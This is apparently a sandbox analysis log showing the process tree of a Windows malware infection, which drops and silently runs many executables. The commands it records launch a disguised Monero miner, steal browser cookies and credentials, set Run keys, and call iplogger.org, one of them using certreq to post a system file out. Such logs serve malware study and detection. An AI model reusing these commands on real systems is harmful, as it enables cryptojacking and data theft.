                                                                                                                                                                                                                                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1660,6865956881238960791,18085014316047281387,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5448 /prefetch:8
                                                                                                                                                                                                                                                                  20⤵
                                                                                                                                                                                                                                                                    PID:2876
                                                                                                                                                                                                                                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1660,6865956881238960791,18085014316047281387,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4308 /prefetch:8
                                                                                                                                                                                                                                                                    20⤵
                                                                                                                                                                                                                                                                      PID:5564
                                                                                                                                                                                                                                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1660,6865956881238960791,18085014316047281387,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4204 /prefetch:8
                                                                                                                                                                                                                                                                      20⤵
                                                                                                                                                                                                                                                                        PID:1604
                                                                                                                                                                                                                                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --field-trial-handle=1660,6865956881238960791,18085014316047281387,131072 --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.15063.0 --gpu-preferences=MAAAAAAAAADoAAAwAAAAAAAAAAAAAAAAAABgAAAIAAAQAAAAAAAAAAAAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAA= --mojo-platform-channel-handle=5080 /prefetch:2
                                                                                                                                                                                                                                                                        20⤵
                                                                                                                                                                                                                                                                          PID:6684
                                                                                                                                                                                                                                                                • C:\Windows\regedit.exe
                                                                                                                                                                                                                                                                  regedit /s chrome-set.reg
                                                                                                                                                                                                                                                                  16⤵
                                                                                                                                                                                                                                                                  • Runs .reg file with regedit
                                                                                                                                                                                                                                                                  PID:5012
                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\RarSFX1\parse.exe
                                                                                                                                                                                                                                                                  parse.exe -f json -b firefox
                                                                                                                                                                                                                                                                  16⤵
                                                                                                                                                                                                                                                                    PID:6364
                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\RarSFX1\parse.exe
                                                                                                                                                                                                                                                                    parse.exe -f json -b chrome
                                                                                                                                                                                                                                                                    16⤵
                                                                                                                                                                                                                                                                      PID:6404
                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\RarSFX1\parse.exe
                                                                                                                                                                                                                                                                      parse.exe -f json -b edge
                                                                                                                                                                                                                                                                      16⤵
                                                                                                                                                                                                                                                                        PID:6456
                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\is-SIGE4.tmp\DataFinder.exe
                                                                                                                                                                                                                                                                "C:\Users\Admin\AppData\Local\Temp\is-SIGE4.tmp\DataFinder.exe" /Verysilent
                                                                                                                                                                                                                                                                12⤵
                                                                                                                                                                                                                                                                  PID:4392
                                                                                                                                                                                                                                                                  • C:\Users\Admin\Services.exe
                                                                                                                                                                                                                                                                    "C:\Users\Admin\Services.exe"
                                                                                                                                                                                                                                                                    13⤵
                                                                                                                                                                                                                                                                      PID:648
                                                                                                                                                                                                                                                                      • C:\Windows\System32\svchost.exe
                                                                                                                                                                                                                                                                        C:\Windows\System32\svchost.exe -B --coin=monero --asm=auto --cpu-memory-pool=-1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=xmr-us-east1.nanopool.org:14433 --user=42Lm2CeGer8hubckgimBBXhKWRnZqtLx74Ye2HcyMyikARReDxWRn15Bia1k8qgnboPNxEZJHN5HgX8eNa1EP7xeA3X8Z7s --pass= --cpu-max-threads-hint=50 --donate-level=5 --unam-idle-wait=5 --unam-idle-cpu=0 --nicehash --tls --unam-stealth
                                                                                                                                                                                                                                                                        14⤵
                                                                                                                                                                                                                                                                          PID:3548
                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\is-SIGE4.tmp\Delta.exe
                                                                                                                                                                                                                                                                      "C:\Users\Admin\AppData\Local\Temp\is-SIGE4.tmp\Delta.exe" /Verysilent
                                                                                                                                                                                                                                                                      12⤵
                                                                                                                                                                                                                                                                        PID:7020
                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\is-UFADA.tmp\Delta.tmp
                                                                                                                                                                                                                                                                          "C:\Users\Admin\AppData\Local\Temp\is-UFADA.tmp\Delta.tmp" /SL5="$503D6,898740,56832,C:\Users\Admin\AppData\Local\Temp\is-SIGE4.tmp\Delta.exe" /Verysilent
                                                                                                                                                                                                                                                                          13⤵
                                                                                                                                                                                                                                                                            PID:1968
                                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\is-1S369.tmp\Setup.exe
                                                                                                                                                                                                                                                                              "C:\Users\Admin\AppData\Local\Temp\is-1S369.tmp\Setup.exe" /VERYSILENT
                                                                                                                                                                                                                                                                              14⤵
                                                                                                                                                                                                                                                                                PID:4444
                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                  C:\Windows\SysWOW64\WerFault.exe -u -p 4444 -s 956
                                                                                                                                                                                                                                                                                  15⤵
                                                                                                                                                                                                                                                                                  • Program crash
                                                                                                                                                                                                                                                                                  PID:3220
                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                  C:\Windows\SysWOW64\WerFault.exe -u -p 4444 -s 1012
                                                                                                                                                                                                                                                                                  15⤵
                                                                                                                                                                                                                                                                                  • Program crash
                                                                                                                                                                                                                                                                                  PID:4652
                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                  C:\Windows\SysWOW64\WerFault.exe -u -p 4444 -s 1032
                                                                                                                                                                                                                                                                                  15⤵
                                                                                                                                                                                                                                                                                  • Program crash
                                                                                                                                                                                                                                                                                  PID:4436
                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                  C:\Windows\SysWOW64\WerFault.exe -u -p 4444 -s 1204
                                                                                                                                                                                                                                                                                  15⤵
                                                                                                                                                                                                                                                                                  • Program crash
                                                                                                                                                                                                                                                                                  PID:3168
                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                  C:\Windows\SysWOW64\WerFault.exe -u -p 4444 -s 1268
                                                                                                                                                                                                                                                                                  15⤵
                                                                                                                                                                                                                                                                                  • Program crash
                                                                                                                                                                                                                                                                                  PID:5724
                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                  C:\Windows\SysWOW64\WerFault.exe -u -p 4444 -s 1304
                                                                                                                                                                                                                                                                                  15⤵
                                                                                                                                                                                                                                                                                  • Program crash
                                                                                                                                                                                                                                                                                  PID:4224
                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                  C:\Windows\SysWOW64\WerFault.exe -u -p 4444 -s 1352
                                                                                                                                                                                                                                                                                  15⤵
                                                                                                                                                                                                                                                                                  • Program crash
                                                                                                                                                                                                                                                                                  PID:6480
                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                  C:\Windows\SysWOW64\WerFault.exe -u -p 4444 -s 1552
                                                                                                                                                                                                                                                                                  15⤵
                                                                                                                                                                                                                                                                                  • Program crash
                                                                                                                                                                                                                                                                                  PID:4532
                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                  C:\Windows\SysWOW64\WerFault.exe -u -p 4444 -s 1456
                                                                                                                                                                                                                                                                                  15⤵
                                                                                                                                                                                                                                                                                  • Program crash
                                                                                                                                                                                                                                                                                  PID:6064
                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\is-SIGE4.tmp\zznote.exe
                                                                                                                                                                                                                                                                            "C:\Users\Admin\AppData\Local\Temp\is-SIGE4.tmp\zznote.exe" /Verysilent
                                                                                                                                                                                                                                                                            12⤵
                                                                                                                                                                                                                                                                              PID:4720
                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\is-J6O3J.tmp\zznote.tmp
                                                                                                                                                                                                                                                                                "C:\Users\Admin\AppData\Local\Temp\is-J6O3J.tmp\zznote.tmp" /SL5="$703D6,138429,56832,C:\Users\Admin\AppData\Local\Temp\is-SIGE4.tmp\zznote.exe" /Verysilent
                                                                                                                                                                                                                                                                                13⤵
                                                                                                                                                                                                                                                                                  PID:5740
                                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\is-PHJ5A.tmp\jg4_4jaa.exe
                                                                                                                                                                                                                                                                                    "C:\Users\Admin\AppData\Local\Temp\is-PHJ5A.tmp\jg4_4jaa.exe" /silent
                                                                                                                                                                                                                                                                                    14⤵
                                                                                                                                                                                                                                                                                      PID:6552
                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\is-SIGE4.tmp\hjjgaa.exe
                                                                                                                                                                                                                                                                                  "C:\Users\Admin\AppData\Local\Temp\is-SIGE4.tmp\hjjgaa.exe" /Verysilent
                                                                                                                                                                                                                                                                                  12⤵
                                                                                                                                                                                                                                                                                    PID:6688
                                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
                                                                                                                                                                                                                                                                                      C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                                                                                                                                                                                                                                                                      13⤵
                                                                                                                                                                                                                                                                                        PID:4496
                                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
                                                                                                                                                                                                                                                                                        C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                                                                                                                                                                                                                                                                        13⤵
                                                                                                                                                                                                                                                                                          PID:6324
                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\yyxubot0p3b\30hvbmszgfk.exe
                                                                                                                                                                                                                                                                                "C:\Users\Admin\AppData\Local\Temp\yyxubot0p3b\30hvbmszgfk.exe" 57a764d042bf8
                                                                                                                                                                                                                                                                                8⤵
                                                                                                                                                                                                                                                                                  PID:5064
                                                                                                                                                                                                                                                                                  • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                                                    "C:\Windows\System32\cmd.exe" /k "C:\Program Files\X55F7QRX4U\X55F7QRX4.exe" 57a764d042bf8 & exit
                                                                                                                                                                                                                                                                                    9⤵
                                                                                                                                                                                                                                                                                      PID:5924
                                                                                                                                                                                                                                                                                      • C:\Program Files\X55F7QRX4U\X55F7QRX4.exe
                                                                                                                                                                                                                                                                                        "C:\Program Files\X55F7QRX4U\X55F7QRX4.exe" 57a764d042bf8
                                                                                                                                                                                                                                                                                        10⤵
                                                                                                                                                                                                                                                                                          PID:6108
                                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\qgrfgz0pxnb\b4jpm3xrrv3.exe
                                                                                                                                                                                                                                                                                      "C:\Users\Admin\AppData\Local\Temp\qgrfgz0pxnb\b4jpm3xrrv3.exe" testparams
                                                                                                                                                                                                                                                                                      8⤵
                                                                                                                                                                                                                                                                                        PID:4504
                                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Roaming\3t3iroapzar\iunhmwl5zow.exe
                                                                                                                                                                                                                                                                                          "C:\Users\Admin\AppData\Roaming\3t3iroapzar\iunhmwl5zow.exe" /VERYSILENT /p=testparams
                                                                                                                                                                                                                                                                                          9⤵
                                                                                                                                                                                                                                                                                            PID:5940
                                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\cxmkh0nd045\chashepro3.exe
                                                                                                                                                                                                                                                                                          "C:\Users\Admin\AppData\Local\Temp\cxmkh0nd045\chashepro3.exe" /VERYSILENT
                                                                                                                                                                                                                                                                                          8⤵
                                                                                                                                                                                                                                                                                            PID:4916
                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\2yxz1dwbbru\vpn.exe
                                                                                                                                                                                                                                                                                            "C:\Users\Admin\AppData\Local\Temp\2yxz1dwbbru\vpn.exe" /silent /subid=482
                                                                                                                                                                                                                                                                                            8⤵
                                                                                                                                                                                                                                                                                              PID:4744
                                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\is-OA4HN.tmp\vpn.tmp
                                                                                                                                                                                                                                                                                                "C:\Users\Admin\AppData\Local\Temp\is-OA4HN.tmp\vpn.tmp" /SL5="$1039E,15170975,270336,C:\Users\Admin\AppData\Local\Temp\2yxz1dwbbru\vpn.exe" /silent /subid=482
                                                                                                                                                                                                                                                                                                9⤵
                                                                                                                                                                                                                                                                                                  PID:4864
                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                    C:\Windows\system32\cmd.exe /c ""C:\Program Files (x86)\MaskVPN\driver\win764\uninstall.bat" "
                                                                                                                                                                                                                                                                                                    10⤵
                                                                                                                                                                                                                                                                                                      PID:5324
                                                                                                                                                                                                                                                                                                      • C:\Program Files (x86)\MaskVPN\driver\win764\tapinstall.exe
                                                                                                                                                                                                                                                                                                        tapinstall.exe remove tap0901
                                                                                                                                                                                                                                                                                                        11⤵
                                                                                                                                                                                                                                                                                                          PID:4300
                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                        C:\Windows\system32\cmd.exe /c ""C:\Program Files (x86)\MaskVPN\driver\win764\install.bat" "
                                                                                                                                                                                                                                                                                                        10⤵
                                                                                                                                                                                                                                                                                                          PID:4840
                                                                                                                                                                                                                                                                                                          • C:\Program Files (x86)\MaskVPN\driver\win764\tapinstall.exe
                                                                                                                                                                                                                                                                                                            tapinstall.exe install OemVista.inf tap0901
                                                                                                                                                                                                                                                                                                            11⤵
                                                                                                                                                                                                                                                                                                              PID:5128
                                                                                                                                                                                                                                                                                                          • C:\Program Files (x86)\MaskVPN\mask_svc.exe
                                                                                                                                                                                                                                                                                                            "C:\Program Files (x86)\MaskVPN\mask_svc.exe" uninstall
                                                                                                                                                                                                                                                                                                            10⤵
                                                                                                                                                                                                                                                                                                              PID:1436
                                                                                                                                                                                                                                                                                                            • C:\Program Files (x86)\MaskVPN\mask_svc.exe
                                                                                                                                                                                                                                                                                                              "C:\Program Files (x86)\MaskVPN\mask_svc.exe" install
                                                                                                                                                                                                                                                                                                              10⤵
                                                                                                                                                                                                                                                                                                                PID:7104
                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\523ts3kucij\IBInstaller_97039.exe
                                                                                                                                                                                                                                                                                                            "C:\Users\Admin\AppData\Local\Temp\523ts3kucij\IBInstaller_97039.exe" /VERYSILENT /PASSWORD=kSWIzY9AFOirvP3TueIs97039 -token mtn1co3fo4gs5vwq
                                                                                                                                                                                                                                                                                                            8⤵
                                                                                                                                                                                                                                                                                                              PID:4920
                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\RarSFX2\askinstall20.exe
                                                                                                                                                                                                                                                                                                      "C:\Users\Admin\AppData\Local\Temp\RarSFX2\askinstall20.exe"
                                                                                                                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                                                                                                                      • Executes dropped EXE
                                                                                                                                                                                                                                                                                                      PID:2828
                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                        cmd.exe /c taskkill /f /im chrome.exe
                                                                                                                                                                                                                                                                                                        5⤵
                                                                                                                                                                                                                                                                                                          PID:4060
                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\taskkill.exe
                                                                                                                                                                                                                                                                                                            taskkill /f /im chrome.exe
                                                                                                                                                                                                                                                                                                            6⤵
                                                                                                                                                                                                                                                                                                            • Kills process with taskkill
                                                                                                                                                                                                                                                                                                            PID:4132
                                                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\RarSFX2\md2_2efs.exe
                                                                                                                                                                                                                                                                                                        "C:\Users\Admin\AppData\Local\Temp\RarSFX2\md2_2efs.exe"
                                                                                                                                                                                                                                                                                                        4⤵
                                                                                                                                                                                                                                                                                                        • Executes dropped EXE
                                                                                                                                                                                                                                                                                                        • Checks whether UAC is enabled
                                                                                                                                                                                                                                                                                                        PID:4264
                                                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\RarSFX2\BTRSetp.exe
                                                                                                                                                                                                                                                                                                        "C:\Users\Admin\AppData\Local\Temp\RarSFX2\BTRSetp.exe"
                                                                                                                                                                                                                                                                                                        4⤵
                                                                                                                                                                                                                                                                                                        • Executes dropped EXE
                                                                                                                                                                                                                                                                                                        PID:4616
                                                                                                                                                                                                                                                                                                        • C:\ProgramData\8708942.95
                                                                                                                                                                                                                                                                                                          "C:\ProgramData\8708942.95"
                                                                                                                                                                                                                                                                                                          5⤵
                                                                                                                                                                                                                                                                                                          • Executes dropped EXE
                                                                                                                                                                                                                                                                                                          PID:4768
                                                                                                                                                                                                                                                                                                        • C:\ProgramData\685218.7
                                                                                                                                                                                                                                                                                                          "C:\ProgramData\685218.7"
                                                                                                                                                                                                                                                                                                          5⤵
                                                                                                                                                                                                                                                                                                          • Executes dropped EXE
                                                                                                                                                                                                                                                                                                          • Adds Run key to start application
                                                                                                                                                                                                                                                                                                          PID:4788
                                                                                                                                                                                                                                                                                                          • C:\ProgramData\Windows Host\Windows Host.exe
                                                                                                                                                                                                                                                                                                            "C:\ProgramData\Windows Host\Windows Host.exe"
                                                                                                                                                                                                                                                                                                            6⤵
                                                                                                                                                                                                                                                                                                            • Executes dropped EXE
                                                                                                                                                                                                                                                                                                            PID:5060
                                                                                                                                                                                                                                                                                                        • C:\ProgramData\3882968.42
                                                                                                                                                                                                                                                                                                          "C:\ProgramData\3882968.42"
                                                                                                                                                                                                                                                                                                          5⤵
                                                                                                                                                                                                                                                                                                          • Executes dropped EXE
                                                                                                                                                                                                                                                                                                          • Loads dropped DLL
                                                                                                                                                                                                                                                                                                          PID:4848
                                                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\RarSFX2\gcttt.exe
                                                                                                                                                                                                                                                                                                        "C:\Users\Admin\AppData\Local\Temp\RarSFX2\gcttt.exe"
                                                                                                                                                                                                                                                                                                        4⤵
                                                                                                                                                                                                                                                                                                        • Executes dropped EXE
                                                                                                                                                                                                                                                                                                        • Adds Run key to start application
                                                                                                                                                                                                                                                                                                        PID:4180
                                                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
                                                                                                                                                                                                                                                                                                          C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                                                                                                                                                                                                                                                                                          5⤵
                                                                                                                                                                                                                                                                                                            PID:2640
                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
                                                                                                                                                                                                                                                                                                            C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                                                                                                                                                                                                                                                                                            5⤵
                                                                                                                                                                                                                                                                                                              PID:4868
                                                                                                                                                                                                                                                                                                    • C:\Windows\system32\msiexec.exe
                                                                                                                                                                                                                                                                                                      C:\Windows\system32\msiexec.exe /V
                                                                                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                                                                                      • Enumerates connected drives
                                                                                                                                                                                                                                                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                                                                                                                      PID:2364
                                                                                                                                                                                                                                                                                                      • C:\Windows\syswow64\MsiExec.exe
                                                                                                                                                                                                                                                                                                        C:\Windows\syswow64\MsiExec.exe -Embedding 1B6CF20B4B403AD8633105B1D7378960 C
                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                        • Loads dropped DLL
                                                                                                                                                                                                                                                                                                        PID:184
                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\is-Q05PG.tmp\chashepro3.tmp
                                                                                                                                                                                                                                                                                                      "C:\Users\Admin\AppData\Local\Temp\is-Q05PG.tmp\chashepro3.tmp" /SL5="$20360,1446038,58368,C:\Users\Admin\AppData\Local\Temp\cxmkh0nd045\chashepro3.exe" /VERYSILENT
                                                                                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                                                                                        PID:4780
                                                                                                                                                                                                                                                                                                        • C:\Program Files (x86)\JCleaner\5.exe
                                                                                                                                                                                                                                                                                                          "C:\Program Files (x86)\JCleaner\5.exe"
                                                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                                                            PID:5000
                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                              cmd.exe /C timeout /T 10 /NOBREAK > Nul & Del /f /q "C:\Program Files (x86)\JCleaner\5.exe"
                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                PID:5840
                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\timeout.exe
                                                                                                                                                                                                                                                                                                                  timeout /T 10 /NOBREAK
                                                                                                                                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                                                                                                                                  • Delays execution with timeout.exe
                                                                                                                                                                                                                                                                                                                  PID:5936
                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                              "cmd.exe" /c "start https://iplogger.org/1aSny7"
                                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                                PID:4980
                                                                                                                                                                                                                                                                                                              • C:\Program Files (x86)\JCleaner\whiterauf.exe
                                                                                                                                                                                                                                                                                                                "C:\Program Files (x86)\JCleaner\whiterauf.exe"
                                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                                  PID:4888
                                                                                                                                                                                                                                                                                                                  • C:\Program Files (x86)\JCleaner\whiterauf.exe
                                                                                                                                                                                                                                                                                                                    "{path}"
                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                      PID:4932
                                                                                                                                                                                                                                                                                                                  • C:\Program Files (x86)\JCleaner\Venita.exe
                                                                                                                                                                                                                                                                                                                    "C:\Program Files (x86)\JCleaner\Venita.exe"
                                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                                      PID:2060
                                                                                                                                                                                                                                                                                                                      • C:\Program Files (x86)\JCleaner\Venita.exe
                                                                                                                                                                                                                                                                                                                        "{path}"
                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                          PID:6136
                                                                                                                                                                                                                                                                                                                      • C:\Program Files (x86)\JCleaner\Abbas.exe
                                                                                                                                                                                                                                                                                                                        "C:\Program Files (x86)\JCleaner\Abbas.exe"
                                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                                          PID:1372
                                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                                                                          "powershell" -command "Invoke-WebRequest -URI https://iplogger.org/1aSny7"
                                                                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                                                                            PID:5040
                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                            "cmd.exe" /c certreq -post -config https://iplogger.org/1aSny7 %windir%\\win.ini %temp%\\2 & del %temp%\\2
                                                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                                                              PID:4996
                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\certreq.exe
                                                                                                                                                                                                                                                                                                                                certreq -post -config https://iplogger.org/1aSny7 C:\Windows\\win.ini C:\Users\Admin\AppData\Local\Temp\\2
                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                  PID:4860
                                                                                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\is-BKDSJ.tmp\IBInstaller_97039.tmp
                                                                                                                                                                                                                                                                                                                              "C:\Users\Admin\AppData\Local\Temp\is-BKDSJ.tmp\IBInstaller_97039.tmp" /SL5="$20364,14437942,721408,C:\Users\Admin\AppData\Local\Temp\523ts3kucij\IBInstaller_97039.exe" /VERYSILENT /PASSWORD=kSWIzY9AFOirvP3TueIs97039 -token mtn1co3fo4gs5vwq
                                                                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                                                                PID:4328
                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\is-A7LKC.tmp\{app}\chrome_proxy.exe
                                                                                                                                                                                                                                                                                                                                  "C:\Users\Admin\AppData\Local\Temp\is-A7LKC.tmp\{app}\chrome_proxy.exe"
                                                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                                                    PID:4760
                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                    "cmd.exe" /c start http://gemstrue.shop/pgudonqntu/zmsaksepfx.php?xdl=mtn1co3fo4gs5vwq^&cid=97039
                                                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                                                      PID:4808
                                                                                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\is-S806F.tmp\iunhmwl5zow.tmp
                                                                                                                                                                                                                                                                                                                                    "C:\Users\Admin\AppData\Local\Temp\is-S806F.tmp\iunhmwl5zow.tmp" /SL5="$30362,329392,58368,C:\Users\Admin\AppData\Roaming\3t3iroapzar\iunhmwl5zow.exe" /VERYSILENT /p=testparams
                                                                                                                                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                                                                                                                                      PID:6032
                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe
                                                                                                                                                                                                                                                                                                                                      "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca
                                                                                                                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                                                                                                                        PID:5856
                                                                                                                                                                                                                                                                                                                                      • C:\Windows\system32\browser_broker.exe
                                                                                                                                                                                                                                                                                                                                        C:\Windows\system32\browser_broker.exe -Embedding
                                                                                                                                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                                                                                                                                          PID:1120
                                                                                                                                                                                                                                                                                                                                        • \??\c:\windows\system32\svchost.exe
                                                                                                                                                                                                                                                                                                                                          c:\windows\system32\svchost.exe -k netsvcs -s seclogon
                                                                                                                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                                                                                                                            PID:4540
                                                                                                                                                                                                                                                                                                                                          • \??\c:\windows\system32\svchost.exe
                                                                                                                                                                                                                                                                                                                                            c:\windows\system32\svchost.exe -k dcomlaunch -s DeviceInstall
                                                                                                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                                                                                                              PID:4508
                                                                                                                                                                                                                                                                                                                                              • C:\Windows\system32\DrvInst.exe
                                                                                                                                                                                                                                                                                                                                                DrvInst.exe "4" "0" "C:\Users\Admin\AppData\Local\Temp\{7472d4bc-faa9-1d4b-bcbd-34180234896d}\oemvista.inf" "9" "4d14a44ff" "0000000000000180" "WinSta0\Default" "0000000000000184" "208" "c:\program files (x86)\maskvpn\driver\win764"
                                                                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                                                                  PID:5076
                                                                                                                                                                                                                                                                                                                                                • C:\Windows\system32\DrvInst.exe
                                                                                                                                                                                                                                                                                                                                                  DrvInst.exe "2" "211" "ROOT\NET\0000" "C:\Windows\INF\oem2.inf" "oemvista.inf:3beb73aff103cc24:tap0901.ndi:9.0.0.21:tap0901," "4d14a44ff" "0000000000000180"
                                                                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                                                                    PID:5104
                                                                                                                                                                                                                                                                                                                                                • \??\c:\windows\system32\svchost.exe
                                                                                                                                                                                                                                                                                                                                                  c:\windows\system32\svchost.exe -k netsvcs -s DsmSvc
                                                                                                                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                                                                                                                    PID:4104
